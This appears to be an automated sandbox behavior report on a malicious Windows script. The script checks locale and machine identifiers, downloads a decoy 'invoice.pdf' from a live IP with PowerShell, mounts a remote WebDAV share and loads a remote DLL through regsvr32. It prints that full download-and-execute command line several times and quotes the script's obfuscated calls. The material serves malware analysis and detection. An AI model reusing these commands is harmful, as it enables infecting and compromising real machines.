Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\990.js.csv");ITextStream.WriteLine(" entry:7990 f:zwipsolcr");ITextStream.WriteLine(" exec:2 f:zwipsolcr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4460			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5393			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 4460 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 5393 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1020	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5972	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1200	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2117978230.000002EDC9C88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117654834.000002EDC9CE8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3340019065.000002649C82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3341537482.00000264A205A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
